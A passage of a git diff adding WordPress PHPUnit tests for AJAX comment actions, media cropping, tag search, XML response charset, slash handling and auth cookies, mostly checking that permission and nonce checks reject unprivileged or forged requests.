+ // Test spam/unspam
+ $comment = array_pop( $this->_comments );
+ $this->_test_with_bad_nonce( $comment, 'spam' );
+ $this->_test_with_bad_nonce( $comment, 'unspam' );
+
+ // Test delete
+ $comment = array_pop( $this->_comments );
+ $this->_test_with_bad_nonce( $comment, 'delete' );
+ }
+
+ /**
+ * Test trashing an already trashed comment, etc.
+ * @return void
+ */
+ public function test_ajax_trash_double_action() {
+
+ // Test trash/untrash
+ $comment = array_pop( $this->_comments );
+ $this->_test_double_action( $comment, 'trash' );
+ $this->_test_double_action( $comment, 'untrash' );
+
+ // Test spam/unspam
+ $comment = array_pop( $this->_comments );
+ $this->_test_double_action( $comment, 'spam' );
+ $this->_test_double_action( $comment, 'unspam' );
+
+ // Test delete
+ $comment = array_pop( $this->_comments );
+ $this->_test_double_action( $comment, 'delete' );
+ }
+}
diff --git a/tests/tests/ajax/DimComment.php b/tests/tests/ajax/DimComment.php
new file mode 100644
index 0000000000..d34b64d852
--- /dev/null
+++ b/tests/tests/ajax/DimComment.php
@@ -0,0 +1,238 @@
+factory->post->create();
+ $this->_comments = $this->factory->comment->create_post_comments( $post_id, 15 );
+ $this->_comments = array_map( 'get_comment', $this->_comments );
+ }
+
+ /**
+ * Clear the POST actions in between requests
+ */
+ protected function _clear_post_action() {
+ unset($_POST['id']);
+ unset($_POST['new']);
+ $this->_last_response = '';
+ }
+
+ /***********************************************************/
+ /** Test prototype
+ /***********************************************************/
+
+ /**
+ * Test as a privilged user (administrator)
+ * Expects test to pass
+ * @param mixed $comment Comment object
+ * @return void
+ */
+ public function _test_as_admin( $comment ) {
+
+ // Reset request
+ $this->_clear_post_action();
+
+ // Become an administrator
+ $this->_setRole( 'administrator' );
+
+ // Set up a default request
+ $_POST['id'] = $comment->comment_ID;
+ $_POST['_ajax_nonce'] = wp_create_nonce( 'approve-comment_' . $comment->comment_ID );
+ $_POST['_total'] = count( $this->_comments );
+ $_POST['_per_page'] = 100;
+ $_POST['_page'] = 1;
+ $_POST['_url'] = admin_url( 'edit-comments.php' );
+
+ // Save the comment status
+ $prev_status = wp_get_comment_status( $comment->comment_ID );
+
+ // Make the request
+ try {
+ $this->_handleAjax( 'dim-comment' );
+ } catch ( WPAjaxDieContinueException $e ) {
+ unset( $e );
+ }
+
+ // Get the response
+ $xml = simplexml_load_string( $this->_last_response, 'SimpleXMLElement', LIBXML_NOCDATA );
+
+ // Ensure everything is correct
+ $this->assertEquals( $comment->comment_ID, (string) $xml->response[0]->comment['id'] );
+ $this->assertEquals( 'dim-comment_' . $comment->comment_ID, (string) $xml->response['action'] );
+ $this->assertGreaterThanOrEqual( time() - 10, (int) $xml->response[0]->comment[0]->supplemental[0]->time[0] );
+ $this->assertLessThanOrEqual( time(), (int) $xml->response[0]->comment[0]->supplemental[0]->time[0] );
+
+ // Check the status
+ $current = wp_get_comment_status( $comment->comment_ID );
+ if (in_array( $prev_status, array( 'unapproved', 'spam') ) ) {
+ $this->assertEquals( 'approved', $current );
+ } else {
+ $this->assertEquals( 'unapproved', $current );
+ }
+
+ // The total is calculated based on a page break -OR- a random number. Let's look for both possible outcomes
+ $comment_count = wp_count_comments( 0 );
+ $recalc_total = $comment_count->total_comments;
+
+ // Delta is not specified, it will always be 1 lower than the request
+ $total = $_POST['_total'] - 1;
+
+ // Check for either possible total
+ $this->assertTrue( in_array( (int) $xml->response[0]->comment[0]->supplemental[0]->total[0] , array( $total, $recalc_total ) ) );
+ }
+
+ /**
+ * Test as a non-privileged user (subscriber)
+ * Expects test to fail
+ * @param mixed $comment Comment object
+ * @return void
+ */
+ public function _test_as_subscriber( $comment ) {
+
+ // Reset request
+ $this->_clear_post_action();
+
+ // Become a subscriber
+ $this->_setRole( 'subscriber' );
+
+ // Set up the $_POST request
+ $_POST['id'] = $comment->comment_ID;
+ $_POST['_ajax_nonce'] = wp_create_nonce( 'approve-comment_' . $comment->comment_ID );
+ $_POST['_total'] = count( $this->_comments );
+ $_POST['_per_page'] = 100;
+ $_POST['_page'] = 1;
+ $_POST['_url'] = admin_url( 'edit-comments.php' );
+
+ // Make the request
+ $this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+ $this->_handleAjax( 'dim-comment' );
+ }
+
+ /**
+ * Test with a bad nonce
+ * Expects test to fail
+ * @param mixed $comment Comment object
+ * @return void
+ */
+ public function _test_with_bad_nonce( $comment ) {
+
+ // Reset request
+ $this->_clear_post_action();
+
+ // Become a subscriber
+ $this->_setRole( 'administrator' );
+
+ // Set up the $_POST request
+ $_POST['id'] = $comment->comment_ID;
+ $_POST['_ajax_nonce'] = wp_create_nonce( uniqid() );
+ $_POST['_total'] = count( $this->_comments );
+ $_POST['_per_page'] = 100;
+ $_POST['_page'] = 1;
+ $_POST['_url'] = admin_url( 'edit-comments.php' );
+
+ // Make the request
+ $this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+ $this->_handleAjax( 'dim-comment' );
+ }
+
+ /**
+ * Test with a bad id
+ * Expects test to fail
+ * @param mixed $comment Comment object
+ * @return void
+ */
+ public function test_with_bad_id( $comment ) {
+
+ // Reset request
+ $this->_clear_post_action();
+
+ // Become a subscriber
+ $this->_setRole( 'administrator' );
+
+ // Set up the $_POST request
+ $_POST['id'] = 12346789;
+ $_POST['_ajax_nonce'] = wp_create_nonce( 'dim-comment_12346789' );
+ $_POST['_total'] = count( $this->_comments );
+ $_POST['_per_page'] = 100;
+ $_POST['_page'] = 1;
+ $_POST['_url'] = admin_url( 'edit-comments.php' );
+
+ // Make the request, look for a timestamp in the exception
+ try {
+ $this->_handleAjax( 'dim-comment' );
+ $this->fail( 'Expected exception: WPAjaxDieContinueException' );
+ } catch ( WPAjaxDieContinueException $e ) {
+
+ // Get the response
+ $xml = simplexml_load_string( $this->_last_response, 'SimpleXMLElement', LIBXML_NOCDATA );
+
+ // Ensure everything is correct
+ $this->assertEquals( '0', (string) $xml->response[0]->comment['id'] );
+ $this->assertEquals( 'dim-comment_0', (string) $xml->response['action'] );
+ $this->assertContains( 'Comment ' . $_POST['id'] . ' does not exist', $this->_last_response );
+
+ } catch ( Exception $e ) {
+ $this->fail( 'Unexpected exception type: ' . get_class( $e ) );
+ }
+ }
+
+ /**
+ * Dim a comment as an administrator (expects success)
+ * @return void
+ */
+ public function test_ajax_comment_dim_actions_as_administrator() {
+ $comment = array_pop( $this->_comments );
+ $this->_test_as_admin( $comment );
+ $this->_test_as_admin( $comment );
+ }
+
+ /**
+ * Dim a comment as a subscriber (expects permission denied)
+ * @return void
+ */
+ public function test_ajax_comment_dim_actions_as_subscriber() {
+ $comment = array_pop( $this->_comments );
+ $this->_test_as_subscriber( $comment );
+ }
+
+ /**
+ * Dim a comment with no id
+ * @return void
+ */
+ public function test_ajax_dim_comment_no_id() {
+ $comment = array_pop( $this->_comments );
+ $this->_test_as_admin( $comment );
+ }
+
+ /**
+ * Dim a comment with a bad nonce
+ * @return void
+ */
+ public function test_ajax_dim_comment_bad_nonce() {
+ $comment = array_pop( $this->_comments );
+ $this->_test_with_bad_nonce( $comment );
+ }
+}
diff --git a/tests/tests/ajax/EditComment.php b/tests/tests/ajax/EditComment.php
new file mode 100644
index 0000000000..8c6ebdfcea
--- /dev/null
+++ b/tests/tests/ajax/EditComment.php
@@ -0,0 +1,148 @@
+factory->post->create();
+ $this->factory->comment->create_post_comments( $post_id, 5 );
+ $this->_comment_post = get_post( $post_id );
+ }
+
+ /**
+ * Get comments as a privilged user (administrator)
+ * Expects test to pass
+ * @return void
+ */
+ public function test_as_admin() {
+
+ // Become an administrator
+ $this->_setRole( 'administrator' );
+
+ // Get a comment
+ $comments = get_comments( array(
+ 'post_id' => $this->_comment_post->ID
+ ) );
+ $comment = array_pop( $comments );
+
+ // Set up a default request
+ $_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' );
+ $_POST['comment_ID'] = $comment->comment_ID;
+ $_POST['content'] = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+
+ // Make the request
+ try {
+ $this->_handleAjax( 'edit-comment' );
+ } catch ( WPAjaxDieContinueException $e ) {
+ unset( $e );
+ }
+
+ // Get the response
+ $xml = simplexml_load_string( $this->_last_response, 'SimpleXMLElement', LIBXML_NOCDATA );
+
+ // Check the meta data
+ $this->assertEquals( -1, (string) $xml->response[0]->edit_comment['position'] );
+ $this->assertEquals( $comment->comment_ID, (string) $xml->response[0]->edit_comment['id'] );
+ $this->assertEquals( 'edit-comment_' . $comment->comment_ID, (string) $xml->response['action'] );
+
+ // Check the payload
+ $this->assertNotEmpty( (string) $xml->response[0]->edit_comment[0]->response_data );
+
+ // And supplemental is empty
+ $this->assertEmpty( (string) $xml->response[0]->edit_comment[0]->supplemental );
+ }
+
+ /**
+ * Get comments as a non-privileged user (subscriber)
+ * Expects test to fail
+ * @return void
+ */
+ public function test_as_subscriber() {
+
+ // Become an administrator
+ $this->_setRole( 'subscriber' );
+
+ // Get a comment
+ $comments = get_comments( array(
+ 'post_id' => $this->_comment_post->ID
+ ) );
+ $comment = array_pop( $comments );
+
+ // Set up a default request
+ $_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' );
+ $_POST['comment_ID'] = $comment->comment_ID;
+ $_POST['content'] = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+
+ // Make the request
+ $this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+ $this->_handleAjax( 'edit-comment' );
+ }
+
+ /**
+ * Get comments with a bad nonce
+ * Expects test to fail
+ * @return void
+ */
+ public function test_bad_nonce() {
+
+ // Become an administrator
+ $this->_setRole( 'administrator' );
+
+ // Get a comment
+ $comments = get_comments( array(
+ 'post_id' => $this->_comment_post->ID
+ ) );
+ $comment = array_pop( $comments );
+
+ // Set up a default request
+ $_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( uniqid() );
+ $_POST['comment_ID'] = $comment->comment_ID;
+ $_POST['content'] = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+
+ // Make the request
+ $this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+ $this->_handleAjax( 'get-comments' );
+ }
+
+ /**
+ * Get comments for an invalid post
+ * This should return valid XML
+ * @return void
+ */
+ public function test_invalid_comment() {
+
+ // Become an administrator
+ $this->_setRole( 'administrator' );
+
+ // Set up a default request
+ $_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' );
+ $_POST['comment_ID'] = 123456789;
+ $_POST['content'] = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+
+ // Make the request
+ $this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+ $this->_handleAjax( 'edit-comment' );
+ }
+}
diff --git a/tests/tests/ajax/GetComments.php b/tests/tests/ajax/GetComments.php
new file mode 100644
index 0000000000..b9dec083fc
--- /dev/null
+++ b/tests/tests/ajax/GetComments.php
@@ -0,0 +1,159 @@
+factory->post->create();
+ $this->factory->comment->create_post_comments( $post_id, 5 );
+ $this->_comment_post = get_post( $post_id );
+
+ $post_id = $this->factory->post->create();
+ $this->_no_comment_post = get_post( $post_id );
+ }
+
+ /**
+ * Get comments as a privilged user (administrator)
+ * Expects test to pass
+ * @return void
+ */
+ public function test_as_admin() {
+
+ // Become an administrator
+ $this->_setRole( 'administrator' );
+
+ // Set up a default request
+ $_POST['_ajax_nonce'] = wp_create_nonce( 'get-comments' );
+ $_POST['action'] = 'get-comments';
+ $_POST['p'] = $this->_comment_post->ID;
+
+ // Make the request
+ try {
+ $this->_handleAjax( 'get-comments' );
+ } catch ( WPAjaxDieContinueException $e ) {
+ unset( $e );
+ }
+
+ // Get the response
+ $xml = simplexml_load_string( $this->_last_response, 'SimpleXMLElement', LIBXML_NOCDATA );
+
+ // Check the meta data
+ $this->assertEquals( 1, (string) $xml->response[0]->comments['position'] );
+ $this->assertEquals( 0, (string) $xml->response[0]->comments['id'] );
+ $this->assertEquals( 'get-comments_0', (string) $xml->response['action'] );
+
+ // Check the payload
+ $this->assertNotEmpty( (string) $xml->response[0]->comments[0]->response_data );
+
+ // And supplemental is empty
+ $this->assertEmpty( (string) $xml->response[0]->comments[0]->supplemental );
+ }
+
+ /**
+ * Get comments as a non-privileged user (subscriber)
+ * Expects test to fail
+ * @return void
+ */
+ public function test_as_subscriber() {
+
+ // Become a subscriber
+ $this->_setRole( 'subscriber' );
+
+ // Set up a default request
+ $_POST['_ajax_nonce'] = wp_create_nonce( 'get-comments' );
+ $_POST['action'] = 'get-comments';
+ $_POST['p'] = $this->_comment_post->ID;
+
+ // Make the request
+ $this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+ $this->_handleAjax( 'get-comments' );
+ }
+
+ /**
+ * Get comments with a bad nonce
+ * Expects test to fail
+ * @return void
+ */
+ public function test_bad_nonce() {
+
+ // Become an administrator
+ $this->_setRole( 'administrator' );
+
+ // Set up a default request
+ $_POST['_ajax_nonce'] = wp_create_nonce( uniqid() );
+ $_POST['action'] = 'get-comments';
+ $_POST['p'] = $this->_comment_post->ID;
+
+ // Make the request
+ $this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+ $this->_handleAjax( 'get-comments' );
+ }
+
+ /**
+ * Get comments for an invalid post
+ * Bad post IDs are set to 0, this should return valid XML
+ * @return void
+ */
+ public function test_invalid_post() {
+
+ // Become an administrator
+ $this->_setRole( 'administrator' );
+
+ // Set up a default request
+ $_POST['_ajax_nonce'] = wp_create_nonce( 'get-comments' );
+ $_POST['action'] = 'get-comments';
+ $_POST['p'] = 'b0rk';
+
+ // Make the request
+ $this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+ $this->_handleAjax( 'get-comments' );
+ }
+
+ /**
+ * Get comments for an invalid post
+ * Bad post IDs are set to 0, this should return valid XML
+ * @return void
+ */
+ public function test_post_with_no_comments() {
+
+ // Become an administrator
+ $this->_setRole( 'administrator' );
+
+ // Set up a default request
+ $_POST['_ajax_nonce'] = wp_create_nonce( 'get-comments' );
+ $_POST['action'] = 'get-comments';
+ $_POST['p'] = $this->_no_comment_post->ID;
+
+ // Make the request
+ $this->setExpectedException( 'WPAjaxDieStopException', '1' );
+ $this->_handleAjax( 'get-comments' );
+ }
+}
diff --git a/tests/tests/ajax/MediaEdit.php b/tests/tests/ajax/MediaEdit.php
new file mode 100644
index 0000000000..a17e724718
--- /dev/null
+++ b/tests/tests/ajax/MediaEdit.php
@@ -0,0 +1,102 @@
+_ids as $id){
+ wp_delete_attachment($id, true);
+ }
+
+ $uploads = wp_upload_dir();
+ foreach ( scandir( $uploads['basedir'] ) as $file )
+ _rmdir( $uploads['basedir'] . '/' . $file );
+
+ parent::tearDown();
+ }
+
+ /**
+ * Function snagged from ./tests/post/attachments.php
+ */
+ function _make_attachment($upload, $parent_post_id = -1) {
+ $type = '';
+ if ( !empty($upload['type']) ) {
+ $type = $upload['type'];
+ } else {
+ $mime = wp_check_filetype( $upload['file'] );
+ if ($mime)
+ $type = $mime['type'];
+ }
+
+ $attachment = array(
+ 'post_title' => basename( $upload['file'] ),
+ 'post_content' => '',
+ 'post_type' => 'attachment',
+ 'post_parent' => $parent_post_id,
+ 'post_mime_type' => $type,
+ 'guid' => $upload[ 'url' ],
+ );
+
+ // Save the data
+ $id = wp_insert_attachment( $attachment, $upload[ 'file' ], $parent_post_id );
+ wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $upload['file'] ) );
+ return $this->_ids[] = $id;
+ }
+
+ /**
+ * @ticket 22985
+ */
+ public function testCropImageThumbnail() {
+ include_once( ABSPATH . 'wp-admin/includes/image-edit.php' );
+
+ $filename = DIR_TESTDATA . '/images/canola.jpg';
+ $contents = file_get_contents($filename);
+
+ $upload = wp_upload_bits(basename($filename), null, $contents);
+ $id = $this->_make_attachment($upload);
+
+ $_REQUEST['action'] = 'image-editor';
+ $_REQUEST['context'] = 'edit-attachment';
+ $_REQUEST['postid'] = $id;
+ $_REQUEST['target'] = 'thumbnail';
+ $_REQUEST['do'] = 'save';
+ $_REQUEST['history'] = '[{"c":{"x":5,"y":8,"w":289,"h":322}}]';
+
+ $media_meta = wp_get_attachment_metadata($id);
+ $this->assertArrayHasKey('sizes', $media_meta, 'attachment should have size data');
+ $this->assertArrayHasKey('medium', $media_meta['sizes'], 'attachment should have data for medium size');
+ $ret = wp_save_image($id);
+
+ $media_meta = wp_get_attachment_metadata($id);
+ $this->assertArrayHasKey('sizes', $media_meta, 'cropped attachment should have size data');
+ $this->assertArrayHasKey('medium', $media_meta['sizes'], 'cropped attachment should have data for medium size');
+ }
+}
diff --git a/tests/tests/ajax/ReplytoComment.php b/tests/tests/ajax/ReplytoComment.php
new file mode 100644
index 0000000000..a8407a6e80
--- /dev/null
+++ b/tests/tests/ajax/ReplytoComment.php
@@ -0,0 +1,226 @@
+factory->post->create();
+ $this->factory->comment->create_post_comments( $post_id, 5 );
+ $this->_comment_post = get_post( $post_id );
+
+ $post_id = $this->factory->post->create( array( 'post_status' => 'draft' ) );
+ $this->_draft_post = get_post( $post_id );
+ }
+
+ /**
+ * Reply as a privilged user (administrator)
+ * Expects test to pass
+ * @return void
+ */
+ public function test_as_admin() {
+
+ // Become an administrator
+ $this->_setRole( 'administrator' );
+
+ // Get a comment
+ $comments = get_comments( array(
+ 'post_id' => $this->_comment_post->ID
+ ) );
+ $comment = array_pop( $comments );
+
+ // Set up a default request
+ $_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' );
+ $_POST['comment_ID'] = $comment->comment_ID;
+ $_POST['content'] = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+ $_POST['comment_post_ID'] = $this->_comment_post->ID;
+
+ // Make the request
+ try {
+ $this->_handleAjax( 'replyto-comment' );
+ } catch ( WPAjaxDieContinueException $e ) {
+ unset( $e );
+ }
+
+ // Get the response
+ $xml = simplexml_load_string( $this->_last_response, 'SimpleXMLElement', LIBXML_NOCDATA );
+
+ // Check the meta data
+ $this->assertEquals( -1, (string) $xml->response[0]->comment['position'] );
+ $this->assertGreaterThan( 0, (int) $xml->response[0]->comment['id'] );
+ $this->assertNotEmpty( (string) $xml->response['action'] );
+
+ // Check the payload
+ $this->assertNotEmpty( (string) $xml->response[0]->comment[0]->response_data );
+
+ // And supplemental is empty
+ $this->assertEmpty( (string) $xml->response[0]->comment[0]->supplemental );
+ }
+
+ /**
+ * Reply as a non-privileged user (subscriber)
+ * Expects test to fail
+ * @return void
+ */
+ public function test_as_subscriber() {
+
+ // Become an administrator
+ $this->_setRole( 'subscriber' );
+
+ // Get a comment
+ $comments = get_comments( array(
+ 'post_id' => $this->_comment_post->ID
+ ) );
+ $comment = array_pop( $comments );
+
+ // Set up a default request
+ $_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' );
+ $_POST['comment_ID'] = $comment->comment_ID;
+ $_POST['content'] = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+ $_POST['comment_post_ID'] = $this->_comment_post->ID;
+
+ // Make the request
+ $this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+ $this->_handleAjax( 'replyto-comment' );
+ }
+
+ /**
+ * Reply using a bad nonce
+ * Expects test to fail
+ * @return void
+ */
+ public function test_bad_nonce() {
+
+ // Become an administrator
+ $this->_setRole( 'administrator' );
+
+ // Get a comment
+ $comments = get_comments( array(
+ 'post_id' => $this->_comment_post->ID
+ ) );
+ $comment = array_pop( $comments );
+
+ // Set up a default request
+ $_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( uniqid() );
+ $_POST['comment_ID'] = $comment->comment_ID;
+ $_POST['content'] = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+ $_POST['comment_post_ID'] = $this->_comment_post->ID;
+
+ // Make the request
+ $this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+ $this->_handleAjax( 'replyto-comment' );
+ }
+
+ /**
+ * Reply to an invalid post
+ * Expects test to fail
+ * @return void
+ */
+ public function test_invalid_post() {
+
+ // Become an administrator
+ $this->_setRole( 'administrator' );
+
+ // Set up a default request
+ $_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' );
+ $_POST['content'] = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+ $_POST['comment_post_ID'] = 123456789;
+
+ // Make the request
+ $this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+ $this->_handleAjax( 'replyto-comment' );
+ }
+
+ /**
+ * Reply to a draft post
+ * Expects test to fail
+ * @return void
+ */
+ public function test_with_draft_post() {
+
+ // Become an administrator
+ $this->_setRole( 'administrator' );
+
+ // Set up a default request
+ $_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' );
+ $_POST['content'] = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+ $_POST['comment_post_ID'] = $this->_draft_post->ID;
+
+ // Make the request
+ $this->setExpectedException( 'WPAjaxDieStopException', 'ERROR: you are replying to a comment on a draft post.' );
+ $this->_handleAjax( 'replyto-comment' );
+ }
+
+ /**
+ * Reply to a post with a simulated database failure
+ * Expects test to fail
+ * @global $wpdb
+ * @return void
+ */
+ public function test_blocked_comment() {
+ global $wpdb;
+
+ // Become an administrator
+ $this->_setRole( 'administrator' );
+
+ // Set up a default request
+ $_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' );
+ $_POST['content'] = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+ $_POST['comment_post_ID'] = $this->_comment_post->ID;
+
+ // Block comments from being saved, simulate a DB error
+ add_filter( 'query', array( $this, '_block_comments' ) );
+
+ // Make the request
+ try {
+ $wpdb->suppress_errors( true );
+ $this->_handleAjax( 'replyto-comment' );
+ $wpdb->suppress_errors( false );
+ $this->fail();
+ } catch ( WPAjaxDieStopException $e ) {
+ $wpdb->suppress_errors( false );
+ $this->assertContains( '1', $e->getMessage() );
+ }
+ }
+
+ /**
+ * Block comments from being saved
+ * @param string $sql
+ * @return string
+ */
+ public function _block_comments( $sql ) {
+ global $wpdb;
+ if ( false !== strpos( $sql, $wpdb->comments ) && 0 === stripos( trim ( $sql ), 'INSERT INTO') ) {
+ remove_filter( 'query', array( $this, '_block_comments' ) );
+ return '';
+ }
+ return $sql;
+ }
+}
diff --git a/tests/tests/ajax/Response.php b/tests/tests/ajax/Response.php
new file mode 100644
index 0000000000..9626d752dd
--- /dev/null
+++ b/tests/tests/ajax/Response.php
@@ -0,0 +1,102 @@
+_error_level = error_reporting();
+ error_reporting( $this->_error_level & ~E_WARNING );
+ }
+
+ /**
+ * Tear down the test fixture.
+ * Remove the wp_die() override, restore error reporting
+ */
+ public function tearDown() {
+ parent::tearDown();
+ remove_filter( 'wp_die_ajax_handler', array( $this, 'getDieHandler' ), 1, 1 );
+ error_reporting( $this->_error_level );
+ }
+
+ /**
+ * Return our callback handler
+ * @return callback
+ */
+ public function getDieHandler() {
+ return array( $this, 'dieHandler' );
+ }
+
+ /**
+ * Handler for wp_die()
+ * Don't die, just continue on.
+ * @param string $message
+ */
+ public function dieHandler( $message ) {
+ }
+
+ /**
+ * Test that charset in header matches blog_charset
+ * Note: headers_list doesn't work properly in CLI mode, fall back on
+ * xdebug_get_headers if it's available
+ * Needs a separate process to get around the headers/output from the
+ * bootstrapper
+ * @ticket 19448
+ * @runInSeparateProcess
+ */
+ public function test_response_charset_in_header() {
+
+ if ( !function_exists( 'xdebug_get_headers' ) ) {
+ $this->markTestSkipped( 'xdebug is required for this test' );
+ }
+
+ // Generate an ajax response
+ ob_start();
+ $ajax_response = new WP_Ajax_Response();
+ $ajax_response->send();
+
+ // Check the header
+ $headers = xdebug_get_headers();
+ ob_end_clean();
+
+ $this->assertTrue( in_array( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ), $headers ) );
+ }
+
+ /**
+ * Test that charset in the xml tag matches blog_charset
+ * @ticket 19448
+ */
+ public function test_response_charset_in_xml() {
+
+ // Generate an ajax response
+ ob_start();
+ $ajax_response = new WP_Ajax_Response();
+ $ajax_response->send();
+
+ // Check the XML tag
+ $contents = ob_get_clean();
+ $this->assertRegExp( '/<\?xml\s+version=\'1.0\'\s+encoding=\'' . preg_quote( get_option( 'blog_charset' ) ) . '\'\s+standalone=\'yes\'\?>/', $contents );
+ }
+}
diff --git a/tests/tests/ajax/TagSearch.php b/tests/tests/ajax/TagSearch.php
new file mode 100644
index 0000000000..2f1c7716be
--- /dev/null
+++ b/tests/tests/ajax/TagSearch.php
@@ -0,0 +1,152 @@
+_terms as $term )
+ wp_insert_term( $term, 'post_tag' );
+ }
+
+ /**
+ * Test as an admin
+ */
+ public function test_post_tag() {
+
+ // Become an administrator
+ $this->_setRole( 'administrator' );
+
+ // Set up a default request
+ $_GET['tax'] = 'post_tag';
+ $_GET['q'] = 'chat';
+
+ // Make the request
+ try {
+ $this->_handleAjax( 'ajax-tag-search' );
+ } catch ( WPAjaxDieContinueException $e ) {
+ unset( $e );
+ }
+
+ // Ensure we found the right match
+ $this->assertEquals( $this->_last_response, 'chattels' );
+ }
+
+ /**
+ * Test with no results
+ */
+ public function test_no_results() {
+
+ // Become an administrator
+ $this->_setRole( 'administrator' );
+
+ // Set up a default request
+ $_GET['tax'] = 'post_tag';
+ $_GET['q'] = md5(uniqid());
+
+ // Make the request
+ // No output, so we get a stop exception
+ $this->setExpectedException( 'WPAjaxDieStopException', '0' );
+ $this->_handleAjax( 'ajax-tag-search' );
+ }
+
+ /**
+ * Test with commas
+ */
+ public function test_with_comma() {
+
+ // Become an administrator
+ $this->_setRole( 'administrator' );
+
+ // Set up a default request
+ $_GET['tax'] = 'post_tag';
+ $_GET['q'] = 'some,nonsense, terms,chat'; // Only the last term in the list is searched
+
+ // Make the request
+ try {
+ $this->_handleAjax( 'ajax-tag-search' );
+ } catch ( WPAjaxDieContinueException $e ) {
+ unset( $e );
+ }
+
+ // Ensure we found the right match
+ $this->assertEquals( $this->_last_response, 'chattels' );
+ }
+
+ /**
+ * Test as a logged out user
+ */
+ public function test_logged_out() {
+
+ // Log out
+ wp_logout();
+
+ // Set up a default request
+ $_GET['tax'] = 'post_tag';
+ $_GET['q'] = 'chat';
+
+ // Make the request
+ $this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+ $this->_handleAjax( 'ajax-tag-search' );
+ }
+
+ /**
+ * Test with an invalid taxonomy type
+ */
+ public function test_invalid_tax() {
+
+ // Become an administrator
+ $this->_setRole( 'administrator' );
+
+ // Set up a default request
+ $_GET['tax'] = 'invalid-taxonomy';
+ $_GET['q'] = 'chat';
+
+ // Make the request
+ $this->setExpectedException( 'WPAjaxDieStopException', '0' );
+ $this->_handleAjax( 'ajax-tag-search' );
+ }
+
+ /**
+ * Test as an unprivileged user
+ */
+ public function test_unprivileged_user() {
+
+ // Become an administrator
+ $this->_setRole( 'subscriber' );
+
+ // Set up a default request
+ $_GET['tax'] = 'post_tag';
+ $_GET['q'] = 'chat';
+
+ // Make the request
+ $this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+ $this->_handleAjax( 'ajax-tag-search' );
+ }
+
+}
diff --git a/tests/tests/attachment/slashes.php b/tests/tests/attachment/slashes.php
new file mode 100644
index 0000000000..dec69343a3
--- /dev/null
+++ b/tests/tests/attachment/slashes.php
@@ -0,0 +1,63 @@
+author_id = $this->factory->user->create( array( 'role' => 'editor' ) );
+ $this->old_current_user = get_current_user_id();
+ wp_set_current_user( $this->author_id );
+
+ // it is important to test with both even and odd numbered slashes as
+ // kses does a strip-then-add slashes in some of it's function calls
+ $this->slash_1 = 'String with 1 slash \\';
+ $this->slash_2 = 'String with 2 slashes \\\\';
+ $this->slash_3 = 'String with 3 slashes \\\\\\';
+ $this->slash_4 = 'String with 4 slashes \\\\\\\\';
+ $this->slash_5 = 'String with 5 slashes \\\\\\\\\\';
+ $this->slash_6 = 'String with 6 slashes \\\\\\\\\\\\';
+ $this->slash_7 = 'String with 7 slashes \\\\\\\\\\\\\\';
+ }
+
+ function tearDown() {
+ wp_set_current_user( $this->old_current_user );
+ parent::tearDown();
+ }
+
+ /**
+ * Tests the model function that expects slashed data
+ *
+ */
+ function test_wp_insert_attachment() {
+ $id = wp_insert_attachment(array(
+ 'post_status' => 'publish',
+ 'post_title' => $this->slash_1,
+ 'post_content_filtered' => $this->slash_3,
+ 'post_excerpt' => $this->slash_5,
+ 'post_type' => 'post'
+ ));
+ $post = get_post( $id );
+
+ $this->assertEquals( wp_unslash( $this->slash_1 ), $post->post_title );
+ $this->assertEquals( wp_unslash( $this->slash_3 ), $post->post_content_filtered );
+ $this->assertEquals( wp_unslash( $this->slash_5 ), $post->post_excerpt );
+
+ $id = wp_insert_attachment(array(
+ 'post_status' => 'publish',
+ 'post_title' => $this->slash_2,
+ 'post_content_filtered' => $this->slash_4,
+ 'post_excerpt' => $this->slash_6,
+ 'post_type' => 'post'
+ ));
+ $post = get_post( $id );
+
+ $this->assertEquals( wp_unslash( $this->slash_2 ), $post->post_title );
+ $this->assertEquals( wp_unslash( $this->slash_4 ), $post->post_content_filtered );
+ $this->assertEquals( wp_unslash( $this->slash_6 ), $post->post_excerpt );
+ }
+
+}
diff --git a/tests/tests/auth.php b/tests/tests/auth.php
new file mode 100644
index 0000000000..f2d6552102
--- /dev/null
+++ b/tests/tests/auth.php
@@ -0,0 +1,66 @@
+user_id = $this->factory->user->create();
+ }
+
+ function test_auth_cookie_valid() {
+ $cookie = wp_generate_auth_cookie( $this->user_id, time() + 3600, 'auth' );
+ $this->assertEquals( $this->user_id, wp_validate_auth_cookie( $cookie, 'auth' ) );
+ }
+
+ function test_auth_cookie_invalid() {
+ // 3600 or less and +3600 may occur in wp_validate_auth_cookie(),
+ // as an ajax test may have defined DOING_AJAX, failing the test.
+
